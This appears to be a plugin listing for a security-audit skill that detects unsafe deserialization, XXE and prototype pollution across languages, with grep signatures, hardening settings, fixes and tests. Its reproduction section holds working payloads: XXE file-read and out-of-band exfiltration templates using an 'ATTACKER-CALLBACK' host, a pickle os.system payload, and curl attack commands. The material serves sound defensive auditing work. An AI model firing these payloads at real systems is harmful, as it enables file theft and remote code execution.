Detect unsafe deserialization of untrusted data (native serializers, XXE, YAML, prototype pollution) across all major languages.
Ships in Aegis Skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
Find every place where untrusted data (network input, message queues, files, cookies, cache entries) is converted back into executable objects or rich data structures, and determine whether an attacker can abuse that conversion to:
Covered here: native object serialization (pickle, Java, .NET, PHP, Ruby), XML parsing incl. external entities (XXE), YAML loading, and server-side JavaScript prototype pollution. Out of scope (cross-referenced): mass assignment (API), SSRF from URL fetchers (SSRF), decompression/entity-bomb resource math (DOS), JWT/token integrity (AUTHN).
Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.
__proto__ that change object behavior across the whole appDeserialization bugs follow one shape:
Untrusted bytes --> parser that CONSTRUCTS OBJECTS or RESOLVES REFERENCES --> side effects
| |
| +- constructors, magic methods,
+- attacker fully controls bytes class lookups, entity resolution,
(no signature/AEAD verified first) prototype traversal = attack surface
Three escalating risk tiers:
| Tier | Mechanism | Typical outcome |
|---|---|---|
| T1 | Object instantiation driven by attacker bytes | RCE via gadget chains |
| T2 | External entity / reference resolution | File read, SSRF, DoS |
| T3 | Key/path traversal inside plain structures | Logic bypass, pollution |
Key insight for auditors: the serializer alone is rarely the vulnerability.
The missing integrity check before parse and the classes reachable during
parse are what make it exploitable. A signed blob fed to pickle.loads is far
less exploitable than an unsigned one; pickle.loads running in an app whose
namespace exposes rich classes (e.g., Django) is riskier than one in a tiny CLI.
yaml.load( without explicit Loader=SafeLoader/CSafeLoader.merge, extend, defaultsDeep, set,
deepmerge) fed from JSON bodies; query parsers with bracket/array
expansion; Object.assign config updates from request data.getattr,
Class.forName, Activator.CreateInstance, PHP variable class
instantiation, Python importlib.import_module(variable)).High-yield locations, in priority order:
tasks.py, worker.js, *Consumer.java, app/jobs/*..yaml/.yml/.xml where users influence
path or content (multi-tenant theme/plugin uploads especially).Entry-point context markers:
@(post|put|patch)\(.*(import|upload|restore|webhook|parse)
def .*(webhook|import|restore|migrate)\(
@RequestMapping.*consumes.*(xml|octet-stream)
\[HttpPost\].*(Import|Upload|Webhook)
| Language | Dangerous sink | Risk if tainted | Safe replacement |
|---|---|---|---|
| Python | pickle.loads / pickle.load / cPickle / _pickle | Critical | JSON + schema |
| Python | yaml.load(...) without SafeLoader | Critical–High | yaml.safe_load |
| Python | shelve.open on user-influenced file | High | sqlite/JSON |
| Java/Kotlin | ObjectInputStream.readObject | Critical | JSON/protobuf |
| Java/Kotlin | XMLDecoder.decode / .readObject() | Critical | remove feature |
| Java/Kotlin | XStream.fromXML (old defaults) | Critical–High | JSON driver + type allowlist |
| C# | BinaryFormatter.Deserialize | Critical | System.Text.Json |
| C# | NetDataContractSerializer, ObjectStateFormatter, LosFormatter | Critical–High | DataContractSerializer w/ safe settings |
| PHP | unserialize($user_input) | Critical–High | json_decode |
| Ruby | Marshal.load on external data | Critical–High | JSON |
| Node | node-serialize, func-token evals, re-eval of serialize-javascript output | Critical | JSON |
Ripgrep signature blocks (no lookaheads; manual-filter notes included):
pickle\.loads?\(|cPickle\.loads?|_pickle\.loads?|shelve\.open\(yaml\.load\(|yaml\.unsafe_load|
Run the YAML half separately and manually drop hits containing
Loader=SafeLoader, Loader=CSafeLoader, or safe_load:
yaml\.load\(|yaml\.unsafe_load|load\([^)]*FullLoader
ObjectInputStream|XMLDecoder|XStream|fromXML\(|BinaryFormatter|NetDataContractSerializer|ObjectStateFormatter|LosFormatterunserialize\s*\(|Marshal\.load|node-serialize|eval\(.*serialize
Blob-format recognition in code/data (helps confirm what a sink expects):
| Format | Marker |
|---|---|
| Python pickle (protocol 2+) | bytes \x80\x02 … \x80\x05; ASCII ops like cos\nsystem |
| Java serialization | hex AC ED 00 05 (rO0AB… base64) |
| .NET BinaryFormatter | base64 prefix AAEAAAD///// |
| PHP | O:<len>:"ClassName":<n>:{…} |
| Ruby Marshal | x04x08 then class symbols |
| Parser | Unsafe default | Required hardening |
|---|---|---|
Python lxml.etree | resolves entities, fetches network DTDs | resolve_entities=False, no_network=True; prefer defusedxml |
Python xml.etree.ElementTree | rejects entity definitions since 3.7.1; old versions vary | use defusedxml.ElementTree for untrusted input |
Python xml.sax | external general entities resolvable | features per Remediation table |
Java DocumentBuilderFactory | entities ON | 3-feature set below + setExpandEntityReferences(false) + setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) |
Java SAXParserFactory | entities ON | same feature set |
.NET XmlReader.Create | secure by default (DTD prohibited) | never legacy new XmlTextReader(...) path; keep DTDProcessing=Prohibit for untrusted |
PHP DOMDocument/simplexml | libxml >=2.9 blocks network entities by default | verify libxml version; older stacks need loader disable |
Go encoding/xml | no entity expansion | low risk — state it and move on |
Signatures:
etree\.parse\(|etree\.fromstring\(|xml\.sax|DocumentBuilderFactory|SAXParserFactory|XmlTextReader|simplexml_load|DOMDocument|XMLReader|SAXReader
XXE payload templates for reproduction:
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>
<?xml version="1.0"?><!DOCTYPE r [
<!ENTITY % d SYSTEM "http://ATTACKER-CALLBACK/x.dtd">
%d;]><r>send</r>
with x.dtd hosted at attacker: <!ENTITY % f SYSTEM "file:///etc/hostname"><!ENTITY % s "<!ENTITY o '%f;'>">%s; — concept only; build during authorized testing.
Sink/marker signatures:
lodash.*(merge|mergeWith|setWith|defaultsDeep|zipObjectDeep)|deepmerge|deep-extend|merge-deep|defaults-deep|object-path|\bextend\(
qs\(|extended:\s*true|simple-parser__proto__|constructor\[.prototype.\]|constructor\.prototype
Vulnerable shape and fix:
// VULNERABLE - user JSON merged into config object
const { merge } = require('lodash');
app.post('/api/settings', (req, res) => {
merge(defaultSettings, req.body); // {"__proto__":{"isAdmin":true}}
res.json({ ok: true }); // EVERY plain object now has isAdmin=true
});
// FIXED - structural keys stripped recursively before any merge
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
function sanitize(value) {
if (Array.isArray(value)) return value.map(sanitize);
if (value && typeof value === 'object') {
const out = {};
for (const [k, v] of Object.entries(value))
if (!BLOCKED.has(k)) out[k] = sanitize(v);
return out;
}
return value;
}
app.post('/api/settings', (req, res) => {
merge(defaultSettings, sanitize(req.body));
res.json({ ok: true });
});
Also check qs usage: bracket notation (?a[__proto__][x]=1) historically fed
pollution via extended: true bodies on vulnerable library versions.
getattr\([a-z_]+,\s*[a-z_.]*(request|params|args|input)|Class\.forName\(Activator\.CreateInstance|Type\.GetType\(\$|new \$[A-Za-z_]|call_user_func(_array)?\(|import_module\([^'"]
// VULNERABLE - class chosen straight from request
$handler = new $_POST['report_type'](); // arbitrary constructor invocation
// FIXED - allowlist map
$allowed = ['pdf' => PdfReport::class, 'csv' => CsvReport::class];
$cls = $allowed[$_POST['report_type']] ?? null;
if ($cls === null) { http_response_code(400); exit; }
$handler = new $cls();
Sources (TAINTED): req.body/JSON payloads, form fields, headers (incl.
X-* metadata), cookies, query strings, uploaded file CONTENT (not just the
name), queue/broker messages, webhook bodies, third-party API responses stored
then re-parsed later, values read from caches another component writes.
Propagators: base64/hex decode helpers (Buffer.from, b64decode,
Convert.FromBase64String), temp files, ORM round-trips of tainted columns
(second-order flows: blob stored in one request, deserialized in another — grep
the write sites too), archive entry contents.
Real sanitizers (safe to credit):
Fake sanitizers (do NOT credit): try/catch around the load; length limits
alone; is_string/type-hint checks; base64 encoding (transport, not integrity);
signature verification performed AFTER parsing; blocklists of class names.
Reachability questions to answer per sink:
Reproduce benignly: payloads below prove control WITHOUT destructive actions. Never fire weaponized gadget chains at systems without explicit authorization; marker-file / env-dump proofs are sufficient for reports.
# Payload that ONLY writes $USER into /tmp/deser_proof.txt (benign proof)
python3 - <<'EOF'
import pickle
class P:
def __reduce__(self):
import os
return os.system, ("echo $USER > /tmp/deser_proof.txt",)
open('/tmp/payload.bin','wb').write(pickle.dumps(P()))
EOF
# In a LOCAL test harness: pickle.loads(open('/tmp/payload.bin','rb').read())
# Expected observable: /tmp/deser_proof.txt appears => arbitrary code path proven.
Static-only confirmation: sink reachable from request input + no integrity gate = Confirmed under this rubric even without firing anything.
curl -s -H "Content-Type: application/xml" \
--data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>' \
https://TARGET/api/import
# Expected observable: response contains "root:x:0:0", or a parser error that
# reveals entity processing behavior.
Blind-response variant: point the DTD template at an attacker-controlled DNS/HTTP callback you are authorized to monitor; expected observable: inbound lookup during request processing.
curl -X POST https://TARGET/api/settings -H 'Content-Type: application/json' \
-d '{"__proto__":{"pollutedFlag":"DESER-PROOF"}}'
# Then hit ANY endpoint reflecting object properties:
curl -s https://TARGET/api/config | grep -o 'pollutedFlag[^,}]*'
# Expected observable: DESER-PROOF surfaces in output or changes behavior.
If nothing reflects it, pollution may still exist but impact is unproven -> status Probable with explicit reasoning.
__wakeup,
__destruct, __toString, __call) perform writes/deletes/queries.O:<len>:"<ClassName>":<n>:{...} matching real property names.unserialize().Modify field values inside a legitimately obtained serialized blob and resend; expected observable: server accepts altered state => integrity controls absent => document as Critical-tier without executing any gadgets.
Decision tree:
resolveClass overrides) reduce but never eliminate risk.Integrity ordering rule: verify-then-parse, never parse-then-inspect.
XXE hardening flags (exact names):
| Parser | Required configuration |
|---|---|
| Java DocumentBuilderFactory | setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); setFeature("http://xml.org/sax/features/external-general-entities", false); setFeature("http://xml.org/sax/features/external-parameter-entities", false); setXIncludeAware(false); setExpandEntityReferences(false) |
| Java SAXParserFactory | same feature URIs via setFeature on the factory |
| Python lxml | etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False); prefer defusedxml wrappers for untrusted input |
| .NET | new XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null } |
| PHP | require libxml >= 2.9 (network entities blocked); legacy stacks disable entity loader before parse |
Prototype pollution defenses: recursive structural-key stripping at every
merge boundary (snippet above); prefer Object.create(null) or Map for
attacker-keyed stores; keep qs/body parsers patched; avoid extended:true
query parsing unless needed; evaluate runtime hardening flags where supported.
Native-deserialization replacements (before/after):
# VULNERABLE
state = pickle.loads(base64.b64decode(req.data))
# FIXED
state = StateSchema().loads(base64.b64decode(req.data)) # JSON + schema
// VULNERABLE
Object o = new ObjectInputStream(in).readObject();
// FIXED
MyDto dto = objectMapper.readValue(in, MyDto.class);
// VULNERABLE
var o = new BinaryFormatter().Deserialize(stream);
// FIXED
var o = await JsonSerializer.DeserializeAsync<MyDto>(stream);
// VULNERABLE
$o = unserialize($input);
// FIXED
$o = json_decode($input, true, 512, JSON_THROW_ON_ERROR);
# VULNERABLE
obj = Marshal.load(raw)
# FIXED
obj = JSON.parse(raw)
// VULNERABLE
const obj = eval('(' + payload + ')');
// FIXED
const obj = JSON.parse(payload); // then validate against schema
Defense-in-depth: least-privilege workers so gadget side effects fail closed; alerting on deserializer exceptions (attack noise); patched serializer libraries; egress rules blocking surprise outbound lookups from parsers.
GIVEN/WHEN/THEN suites to add:
GIVEN a pickled payload with os.system reduce WHEN submitted to the state endpoint
THEN server responds 400 and NO side effect occurs (marker file absent)
GIVEN XML containing an external entity WHEN parsed by the import endpoint
THEN response contains no file content and parser logs a rejected-doctype error
GIVEN JSON body {"__proto__":{"x":1}} WHEN merged into settings
THEN Object.keys(settings.__proto__) shows no x AND config output lacks x
GIVEN a legitimate previously-stored blob WHEN loaded
THEN parsing succeeds unchanged (negative control: functionality intact)
Regression-test pseudocode (framework-agnostic):
test_rejects_native_deserialization_payloads:
for payload in [pickle_rce_probe, java_magic_hex, php_0_syntax, dotnet_marker]:
resp = send(parse_endpoint, payload)
assert not resp.caused_side_effect and resp.status in (400, 415, 422)
test_xxe_blocked:
resp = send(xml_endpoint, xxe_file_read_template)
assert "root:x:0" not in resp.body
test_proto_pollution_resistant:
send(merge_endpoint, {"__proto__": {"canary": 1}})
assert reflect(canary) == absent
Manual re-test checklist:
Re-scan greps post-fix (same patterns as Patterns & Signatures):
pickle\.loads?\(|unserialize\s*\(|Marshal\.load\(|BinaryFormatter|ObjectInputStream|XMLDecoder
yaml\.load\(disallow-doctype-decl|external-general-entities|DtdProcessing|SafeLoader
__proto__|constructor\.prototype
| Instance | CWE | Typical CVSS v3.1 vector | Band |
|---|---|---|---|
| Network-reachable native deser, no integrity check | CWE-502 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | Critical |
| Internal-only deser sink (service mesh) | CWE-502 | AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | High |
| XXE arbitrary file read | CWE-611 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | High |
| XXE blind/OOB only | CWE-611 | AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N | Medium–High |
| Proto pollution w/o demonstrated impact path | CWE-1321 | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L | Medium–High |
| Reflection class instantiation, allowlistable | CWE-470 | context-dependent | Medium |
Rubric anchors: attacker-controlled bytes + object construction = start Critical; strip severity only for proven integrity gates, unreachable sources, or empty gadget surface (document which classes ARE reachable when claiming low risk).
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
Python, Java, Ruby, PHP, JavaScript
deserialization, xxe, prototype-pollution, security-audit, gadget-chains
40 skills in this plugin
/aegis-api-securityAudit playbook module for API-specific security failures covering mass assignment, missing rate limits and pagination caps, GraphQL/gRPC misconfiguration, REST hygiene gaps, API key mishandling, and WebSocket/SSE access-control defects across all mainstream web frameworks./aegis-api-token-securityAudits the full lifecycle of bearer/API tokens protecting an internet-exposed HTTP API — minting entropy and format, hash-only server storage, transport rules, scoping, expiry and rotation, revocation, per-key rate limits, and log hygiene — with read-only evidence commands and hardened reference implementations./aegis-authn-sessionDetect authentication and session management failures across login, password storage, password reset, MFA, session lifecycle, JWT/OAuth/API-key handling, remember-me, and session storage./aegis:aegis-deserializationfrom Aegis Skills
npx claudepluginhub as-foss/aegis-skills --plugin aegisOther plugins' skills for the same job